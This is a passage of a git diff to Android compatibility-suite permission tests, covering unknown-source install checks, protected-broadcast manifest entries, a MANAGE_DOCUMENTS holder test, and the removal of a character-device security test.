+        UiObject2 settingsButton = mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+        Assert.assertNotNull(errorMessage, settingsButton);
+        mUiDevice.pressBack();
+    }
+
+    private void setAppOpsMode(String mode) throws IOException {
+        final StringBuilder commandBuilder = new StringBuilder("appops set");
+        commandBuilder.append(" " + mPackageName);
+        commandBuilder.append(" REQUEST_INSTALL_PACKAGES");
+        commandBuilder.append(" " + mode);
+        mUiDevice.executeShellCommand(commandBuilder.toString());
+    }
+
+    @Test
+    public void blockedSourceTest() throws Exception {
+        setAppOpsMode("deny");
+        boolean isTrusted = mPm.canRequestPackageInstalls();
+        Assert.assertFalse("Package " + mPackageName
+                + " allowed to install packages after setting app op to errored", isTrusted);
+        launchPackageInstaller();
+        assertInstallBlocked("Install blocking dialog not shown when app op set to errored");
+    }
+
+    @Test
+    public void allowedSourceTest() throws Exception {
+        setAppOpsMode("allow");
+        boolean isTrusted = mPm.canRequestPackageInstalls();
+        Assert.assertTrue("Package " + mPackageName
+                + " blocked from installing packages after setting app op to allowed", isTrusted);
+        launchPackageInstaller();
+        assertInstallAllowed("Install confirmation not shown when app op set to allowed");
+    }
+
+    @Test
+    public void defaultSourceTest() throws Exception {
+        boolean isTrusted = mPm.canRequestPackageInstalls();
+        Assert.assertFalse("Package " + mPackageName
+                + " with default app ops state allowed to install packages", isTrusted);
+        launchPackageInstaller();
+        assertInstallBlocked("Install blocking dialog not shown when app op set to default");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mUiDevice.pressHome();
+        setAppOpsMode("default");
+    }
+}
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index f64db70..b99cbc2 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Permission test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermissionTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.permission.cts" />
+        <option name="runtime-hint" value="13m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index 03ff0d0..2e64d47 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -29,6 +29,7 @@
 
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
 LOCAL_SDK_VERSION := 23
+LOCAL_CPPFLAGS := -std=gnu++11
 
 LOCAL_CFLAGS := -Wno-unused-parameter
 
diff --git a/tests/tests/permission/src/android/permission/cts/AppWidgetManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/AppWidgetManagerPermissionTest.java
index 1328f88..294896d 100644
--- a/tests/tests/permission/src/android/permission/cts/AppWidgetManagerPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/AppWidgetManagerPermissionTest.java
@@ -33,7 +33,6 @@
     protected void setUp() throws Exception {
         super.setUp();
         mAppWidgetManager = AppWidgetManager.getInstance(getContext());
-        assertNotNull(mAppWidgetManager);
     }
 
     /**
@@ -49,6 +48,7 @@
                 .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS)) {
             return;
         }
+        assertNotNull(mAppWidgetManager);
 
         try {
             final boolean bound = mAppWidgetManager.bindAppWidgetIdIfAllowed(1,
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index ac7d703..0318610 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -787,86 +787,6 @@
                 insecure.isEmpty());
     }
 
-    private static final Set<File> CHAR_DEV_EXCEPTIONS = new HashSet<File>(
-            Arrays.asList(
-                // All exceptions should be alphabetical and associated with a bug number.
-                new File("/dev/adsprpc-smd"), // b/11710243
-                new File("/dev/alarm"),      // b/9035217
-                new File("/dev/ashmem"),
-                new File("/dev/binder"),
-                new File("/dev/card0"),       // b/13159510
-                new File("/dev/renderD128"),
-                new File("/dev/renderD129"),  // b/23798677
-                new File("/dev/dri/card0"),   // b/13159510
-                new File("/dev/dri/renderD128"),
-                new File("/dev/dri/renderD129"), // b/23798677
-                new File("/dev/felica"),     // b/11142586
-                new File("/dev/felica_ant"), // b/11142586
-                new File("/dev/felica_cen"), // b/11142586
-                new File("/dev/felica_pon"), // b/11142586
-                new File("/dev/felica_rfs"), // b/11142586
-                new File("/dev/felica_rws"), // b/11142586
-                new File("/dev/felica_uicc"), // b/11142586
-                new File("/dev/full"),
-                new File("/dev/galcore"),
-                new File("/dev/genlock"),    // b/9035217
-                new File("/dev/graphics/galcore"),
-                new File("/dev/ion"),
-                new File("/dev/kgsl-2d0"),   // b/11271533
-                new File("/dev/kgsl-2d1"),   // b/11271533
-                new File("/dev/kgsl-3d0"),   // b/9035217
-                new File("/dev/log/events"), // b/9035217
-                new File("/dev/log/main"),   // b/9035217
-                new File("/dev/log/radio"),  // b/9035217
-                new File("/dev/log/system"), // b/9035217
-                new File("/dev/mali0"),       // b/9106968
-                new File("/dev/mali"),        // b/11142586
-                new File("/dev/mm_interlock"), // b/12955573
-                new File("/dev/mm_isp"),      // b/12955573
-                new File("/dev/mm_v3d"),      // b/12955573
-                new File("/dev/msm_rotator"), // b/9035217
-                new File("/dev/null"),
-                new File("/dev/nvhost-as-gpu"),
-                new File("/dev/nvhost-ctrl"), // b/9088251
-                new File("/dev/nvhost-ctrl-gpu"),
-                new File("/dev/nvhost-dbg-gpu"),
-                new File("/dev/nvhost-gpu"),
-                new File("/dev/nvhost-gr2d"), // b/9088251
-                new File("/dev/nvhost-gr3d"), // b/9088251
-                new File("/dev/nvhost-tsec"),
-                new File("/dev/nvhost-prof-gpu"),
-                new File("/dev/nvhost-vic"),
-                new File("/dev/nvmap"),       // b/9088251
-                new File("/dev/pmsg0"),       // b/31857082
-                new File("/dev/ptmx"),        // b/9088251
-                new File("/dev/pvrsrvkm"),    // b/9108170
-                new File("/dev/pvr_sync"),
-                new File("/dev/quadd"),
-                new File("/dev/random"),
-                new File("/dev/snfc_cen"),    // b/11142586
-                new File("/dev/snfc_hsel"),   // b/11142586
-                new File("/dev/snfc_intu_poll"), // b/11142586
-                new File("/dev/snfc_rfs"),    // b/11142586
-                new File("/dev/tegra-throughput"),
-                new File("/dev/tiler"),       // b/9108170
-                new File("/dev/tty"),
-                new File("/dev/urandom"),
-                new File("/dev/ump"),         // b/11142586
-                new File("/dev/xt_qtaguid"),  // b/9088251
-                new File("/dev/zero"),
-                new File("/dev/fimg2d"),      // b/10428016
-                new File("/dev/mobicore-user") // b/10428016
-            ));
-
-    public void testAllCharacterDevicesAreSecure() throws Exception {
-        Set<File> insecure = getAllInsecureDevicesInDirAndSubdir(new File("/dev"), FileUtils.S_IFCHR);
-        Set<File> insecurePts = getAllInsecureDevicesInDirAndSubdir(new File("/dev/pts"), FileUtils.S_IFCHR);
-        insecure.removeAll(CHAR_DEV_EXCEPTIONS);
-        insecure.removeAll(insecurePts);
-        assertTrue("Found insecure character devices: " + insecure.toString(),
-                insecure.isEmpty());
-    }
-
     public void testDevRandomWorldReadableAndWritable() throws Exception {
         File f = new File("/dev/random");
 
diff --git a/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
index 6d55a69..909ac35 100644
--- a/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
@@ -17,18 +17,24 @@
 package android.permission.cts;
 
 import android.content.ContentValues;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.provider.CallLog;
 import android.provider.Contacts;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
+import java.util.List;
+import java.util.Objects;
+
 /**
  * Tests Permissions related to reading from and writing to providers
  */
 @MediumTest
 public class ProviderPermissionTest extends AndroidTestCase {
-
     /**
      * Verify that read and write to contact requires permissions.
      * <p>Tests Permission:
@@ -90,4 +96,38 @@
                     expected.getMessage().contains(permission));
         }
     }
+
+    /**
+     * Verify that the {@link android.Manifest.permission#MANAGE_DOCUMENTS}
+     * permission is only held by exactly one package: whoever handles the
+     * {@link android.content.Intent#ACTION_OPEN_DOCUMENT} intent.
+     * <p>
+     * No other apps should <em>ever</em> attempt to acquire this permission,
+     * since it would give those apps extremely broad access to all storage
+     * providers on the device without user involvement in the arbitration
+     * process. Apps should instead always rely on Uri permission grants for
+     * access, using
+     * {@link android.content.Intent#FLAG_GRANT_READ_URI_PERMISSION} and related
+     * APIs.
+     */
+    public void testManageDocuments() {
+        final PackageManager pm = getContext().getPackageManager();
+
+        final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
+        intent.addCategory(Intent.CATEGORY_OPENABLE);
+        intent.setType("*/*");
+        final ResolveInfo ri = pm.resolveActivity(intent, 0);
+        final String validPkg = ri.activityInfo.packageName;
+
+        final List<PackageInfo> holding = pm.getPackagesHoldingPermissions(new String[] {
+                android.Manifest.permission.MANAGE_DOCUMENTS
+        }, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+        for (PackageInfo pi : holding) {
+            if (!Objects.equals(pi.packageName, validPkg)) {
+                fail("Exactly one package (must be " + validPkg
+                        + ") can request the MANAGE_DOCUMENTS permission; found package "
+                        + pi.packageName + " which must be revoked for security reasons");
+            }
+        }
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
index 54c2371..d117e19 100644
--- a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
@@ -215,7 +215,7 @@
             fail("SecurityException expected!");
         } catch (SecurityException e) {}
         try {
-            Intent intent = new Intent("android.intent.action.ACTION_DEFAULT_SUBSCRIPTION_CHANGED");
+            Intent intent = new Intent("android.telephony.action.DEFAULT_SUBSCRIPTION_CHANGED");
             getContext().sendBroadcast(intent);
             fail("SecurityException expected!");
         } catch (SecurityException e) {}
@@ -227,7 +227,7 @@
         } catch (SecurityException e) {}
         try {
             Intent intent = new Intent(
-                    "android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED");
+                    "android.telephony.action.DEFAULT_SMS_SUBSCRIPTION_CHANGED");
             getContext().sendBroadcast(intent);
             fail("SecurityException expected!");
         } catch (SecurityException e) {}
@@ -242,7 +242,11 @@
             getContext().sendBroadcast(intent);
             fail("SecurityException expected!");
         } catch (SecurityException e) {}
-
+        try {
+            Intent intent = new Intent("android.provider.Telephony.SECRET_CODE");
+            getContext().sendBroadcast(intent);
+            fail("SecurityException expected!");
+        } catch (SecurityException e) {}
     }
 
     /**
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index 07208e3..d4f48f4 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -26,12 +26,12 @@
 
 LOCAL_JAVA_LIBRARIES := telephony-common
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsPermission2TestCases
 
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission2/AndroidTest.xml b/tests/tests/permission2/AndroidTest.xml
index b814aa7..2021b88 100644
--- a/tests/tests/permission2/AndroidTest.xml
+++ b/tests/tests/permission2/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Permission test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermission2TestCases.apk" />
     </target_preparer>
@@ -22,4 +23,4 @@
         <option name="package" value="android.permission2.cts" />
         <option name="runtime-hint" value="2m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 87119a6..654791d 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -18,8 +18,8 @@
 */
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android" coreApp="true" android:sharedUserId="android.uid.system"
-          android:sharedUserLabel="@string/android_system_label">
+    package="android" coreApp="true" android:sharedUserId="android.uid.system"
+    android:sharedUserLabel="@string/android_system_label">
 
     <!-- ================================================ -->
     <!-- Special broadcasts that only the system can send -->
@@ -49,6 +49,7 @@
     <protected-broadcast android:name="android.intent.action.PACKAGE_VERIFIED" />
     <protected-broadcast android:name="android.intent.action.PACKAGES_SUSPENDED" />
     <protected-broadcast android:name="android.intent.action.PACKAGES_UNSUSPENDED" />
+    <protected-broadcast android:name="android.intent.action.ACTION_PREFERRED_ACTIVITY_CHANGED" />
     <protected-broadcast android:name="android.intent.action.UID_REMOVED" />
     <protected-broadcast android:name="android.intent.action.QUERY_PACKAGE_RESTART" />
     <protected-broadcast android:name="android.intent.action.CONFIGURATION_CHANGED" />
@@ -81,6 +82,10 @@
     <protected-broadcast android:name="android.intent.action.USER_SWITCHED" />
     <protected-broadcast android:name="android.intent.action.USER_INITIALIZE" />
     <protected-broadcast android:name="android.intent.action.INTENT_FILTER_NEEDS_VERIFICATION" />
+    <protected-broadcast android:name="android.intent.action.OVERLAY_ADDED" />
+    <protected-broadcast android:name="android.intent.action.OVERLAY_CHANGED" />
+    <protected-broadcast android:name="android.intent.action.OVERLAY_REMOVED" />
+    <protected-broadcast android:name="android.intent.action.OVERLAY_PRIORITY_CHANGED" />
 
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGING" />
@@ -100,6 +105,7 @@
     <protected-broadcast android:name="android.app.action.BUGREPORT_SHARING_DECLINED" />
     <protected-broadcast android:name="android.app.action.BUGREPORT_FAILED" />
     <protected-broadcast android:name="android.app.action.BUGREPORT_SHARE" />
+    <protected-broadcast android:name="android.app.action.SHOW_DEVICE_MONITORING_DIALOG" />
 
     <protected-broadcast android:name="android.appwidget.action.APPWIDGET_UPDATE_OPTIONS" />
     <protected-broadcast android:name="android.appwidget.action.APPWIDGET_DELETED" />
@@ -120,6 +126,7 @@
     <protected-broadcast android:name="android.bluetooth.adapter.action.DISCOVERY_STARTED" />
     <protected-broadcast android:name="android.bluetooth.adapter.action.DISCOVERY_FINISHED" />
     <protected-broadcast android:name="android.bluetooth.adapter.action.LOCAL_NAME_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.adapter.action.BLUETOOTH_ADDRESS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.adapter.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.UUID" />
     <protected-broadcast android:name="android.bluetooth.device.action.MAS_INSTANCE" />
@@ -142,46 +149,62 @@
     <protected-broadcast android:name="android.bluetooth.devicepicker.action.LAUNCH" />
     <protected-broadcast android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
+        android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
+        android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
+        android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
+        android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
+        android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
+        android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
+        android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
+    <protected-broadcast
+        android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
+    <protected-broadcast
+        android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.CONNECTION_STATE_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
+    <protected-broadcast
+        android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
+    <protected-broadcast
+        android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
+    <protected-broadcast
+        android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.intent.action.PBAP_STATE_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.btopp.intent.action.INCOMING_FILE_NOTIFICATION" />
     <protected-broadcast android:name="android.btopp.intent.action.USER_CONFIRMATION_TIMEOUT" />
     <protected-broadcast android:name="android.btopp.intent.action.LIST" />
@@ -193,10 +216,15 @@
     <protected-broadcast android:name="android.btopp.intent.action.OPEN" />
     <protected-broadcast android:name="android.btopp.intent.action.OPEN_INBOUND" />
     <protected-broadcast android:name="android.btopp.intent.action.TRANSFER_COMPLETE" />
+    <protected-broadcast android:name="android.btopp.intent.action.ACCEPT" />
+    <protected-broadcast android:name="android.btopp.intent.action.DECLINE" />
+    <protected-broadcast android:name="com.android.bluetooth.gatt.REFRESH_BATCHED_SCAN" />
     <protected-broadcast android:name="com.android.bluetooth.pbap.authchall" />
     <protected-broadcast android:name="com.android.bluetooth.pbap.userconfirmtimeout" />
     <protected-broadcast android:name="com.android.bluetooth.pbap.authresponse" />
     <protected-broadcast android:name="com.android.bluetooth.pbap.authcancelled" />
+    <protected-broadcast android:name="com.android.bluetooth.sap.USER_CONFIRM_TIMEOUT" />
+    <protected-broadcast android:name="com.android.bluetooth.sap.action.DISCONNECT_ACTION" />
 
     <protected-broadcast android:name="android.hardware.display.action.WIFI_DISPLAY_STATUS_CHANGED" />
 
@@ -280,11 +308,16 @@
     <protected-broadcast android:name="android.net.wifi.WIFI_AP_STATE_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.WIFI_CREDENTIAL_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.WIFI_SCAN_AVAILABLE" />
+    <protected-broadcast android:name="android.net.wifi.aware.action.WIFI_AWARE_STATE_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.SCAN_RESULTS" />
     <protected-broadcast android:name="android.net.wifi.RSSI_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.STATE_CHANGE" />
     <protected-broadcast android:name="android.net.wifi.LINK_CONFIGURATION_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.CONFIGURED_NETWORKS_CHANGE" />
+    <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_DEAUTH_IMMINENT" />
+    <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_ICON" />
+    <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_OSU_PROVIDERS_LIST" />
+    <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_SUBSCRIPTION_REMEDIATION" />
     <protected-broadcast android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
     <protected-broadcast android:name="android.net.wifi.supplicant.STATE_CHANGE" />
     <protected-broadcast android:name="android.net.wifi.p2p.STATE_CHANGED" />
@@ -330,11 +363,11 @@
     <protected-broadcast android:name="android.provider.Telephony.MMS_DOWNLOADED" />
 
     <protected-broadcast
-            android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
+        android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
 
     <!-- Defined in RestrictionsManager -->
     <protected-broadcast
-            android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
+        android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
     <!-- Defined in RestrictionsManager -->
 
     <protected-broadcast android:name="android.intent.action.REQUEST_PERMISSION" />
@@ -343,8 +376,6 @@
     <protected-broadcast android:name="android.nfc.handover.intent.action.TRANSFER_PROGRESS" />
     <protected-broadcast android:name="android.nfc.handover.intent.action.TRANSFER_DONE" />
 
-    <protected-broadcast android:name="android.intent.action.ACTION_DEFAULT_SUBSCRIPTION_CHANGED" />
-    <protected-broadcast android:name="android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED" />
     <protected-broadcast android:name="android.intent.action.ACTION_DEFAULT_DATA_SUBSCRIPTION_CHANGED" />
     <protected-broadcast android:name="android.intent.action.ACTION_DEFAULT_VOICE_SUBSCRIPTION_CHANGED" />
     <protected-broadcast android:name="android.intent.action.ACTION_SUBINFO_CONTENT_CHANGE" />
@@ -392,6 +423,8 @@
 
     <protected-broadcast android:name="android.bluetooth.adapter.action.BLE_STATE_CHANGED" />
     <protected-broadcast android:name="com.android.bluetooth.map.USER_CONFIRM_TIMEOUT" />
+    <protected-broadcast android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
+    <protected-broadcast android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
     <protected-broadcast android:name="android.content.jobscheduler.JOB_DELAY_EXPIRED" />
     <protected-broadcast android:name="android.content.syncmanager.SYNC_ALARM" />
     <protected-broadcast android:name="android.media.INTERNAL_RINGER_MODE_CHANGED_ACTION" />
@@ -403,10 +436,16 @@
     <protected-broadcast android:name="android.os.action.DISCHARGING" />
     <protected-broadcast android:name="android.search.action.SEARCHABLES_CHANGED" />
     <protected-broadcast android:name="android.security.STORAGE_CHANGED" />
+    <protected-broadcast android:name="android.security.action.TRUST_STORE_CHANGED" />
+    <protected-broadcast android:name="android.security.action.KEYCHAIN_CHANGED" />
+    <protected-broadcast android:name="android.security.action.KEY_ACCESS_CHANGED" />
     <protected-broadcast android:name="android.telecom.action.PHONE_ACCOUNT_REGISTERED" />
     <protected-broadcast android:name="android.telecom.action.PHONE_ACCOUNT_UNREGISTERED" />
     <protected-broadcast android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
     <protected-broadcast android:name="android.telephony.action.CARRIER_CONFIG_CHANGED" />
+    <protected-broadcast android:name="android.telephony.action.DEFAULT_SUBSCRIPTION_CHANGED" />
+    <protected-broadcast android:name="android.telephony.action.DEFAULT_SMS_SUBSCRIPTION_CHANGED" />
+    <protected-broadcast android:name="android.telephony.action.SHOW_VOICEMAIL_NOTIFICATION" />
 
     <protected-broadcast android:name="com.android.bluetooth.btservice.action.ALARM_WAKEUP" />
     <protected-broadcast android:name="com.android.server.action.NETWORK_STATS_POLL" />
@@ -415,8 +454,10 @@
     <protected-broadcast android:name="com.android.server.telecom.intent.action.CALLS_ADD_ENTRY" />
     <protected-broadcast android:name="com.android.settings.location.MODE_CHANGING" />
 
+    <protected-broadcast android:name="NotificationManagerService.TIMEOUT" />
     <protected-broadcast android:name="ScheduleConditionProvider.EVALUATE" />
     <protected-broadcast android:name="EventConditionProvider.EVALUATE" />
+    <protected-broadcast android:name="SnoozeHelper.EVALUATE" />
     <protected-broadcast android:name="wifi_scan_available" />
 
     <protected-broadcast android:name="action.cne.started" />
@@ -434,6 +475,7 @@
     <protected-broadcast android:name="com.android.server.Wifi.action.TOGGLE_PNO" />
     <protected-broadcast android:name="intent.action.ACTION_RF_BAND_INFO" />
     <protected-broadcast android:name="android.intent.action.MEDIA_RESOURCE_GRANTED" />
+    <protected-broadcast android:name="android.app.action.NETWORK_LOGS_AVAILABLE" />
     <protected-broadcast android:name="android.app.action.SECURITY_LOGS_AVAILABLE" />
 
     <protected-broadcast android:name="android.app.action.INTERRUPTION_FILTER_CHANGED" />
@@ -450,6 +492,9 @@
     <protected-broadcast android:name="android.intent.action.ACTION_RADIO_OFF" />
 
     <protected-broadcast android:name="android.accounts.LOGIN_ACCOUNTS_CHANGED" />
+    <protected-broadcast android:name="android.accounts.action.ACCOUNT_REMOVED" />
+    <protected-broadcast android:name="android.accounts.action.VISIBLE_ACCOUNTS_CHANGED" />
+
     <protected-broadcast android:name="com.android.sync.SYNC_CONN_STATUS_CHANGED" />
 
     <protected-broadcast android:name="com.android.phone.SIP_INCOMING_CALL" />
@@ -469,12 +514,6 @@
     <protected-broadcast android:name="android.net.wifi.PASSPOINT_ICON_RECEIVED" />
     <protected-broadcast android:name="com.android.server.notification.CountdownConditionProvider" />
 
-    <protected-broadcast android:name="com.android.ims.IMS_SERVICE_UP" />
-    <protected-broadcast android:name="com.android.ims.IMS_INCOMING_CALL" />
-    <protected-broadcast android:name="com.android.ims.internal.uce.UCE_SERVICE_UP" />
-    <protected-broadcast android:name="com.android.intent.action.IMS_FEATURE_CHANGED" />
-    <protected-broadcast android:name="com.android.intent.action.IMS_CONFIG_CHANGED" />
-
     <protected-broadcast android:name="com.android.internal.location.ALARM_WAKEUP" />
     <protected-broadcast android:name="com.android.internal.location.ALARM_TIMEOUT" />
     <protected-broadcast android:name="android.intent.action.GLOBAL_BUTTON" />
@@ -483,6 +522,24 @@
     <protected-broadcast android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
     <protected-broadcast android:name="com.android.server.pm.DISABLE_QUIET_MODE_AFTER_UNLOCK" />
 
+    <protected-broadcast android:name="com.android.server.retaildemo.ACTION_RESET_DEMO" />
+
+    <protected-broadcast android:name="android.intent.action.DEVICE_LOCKED_CHANGED" />
+
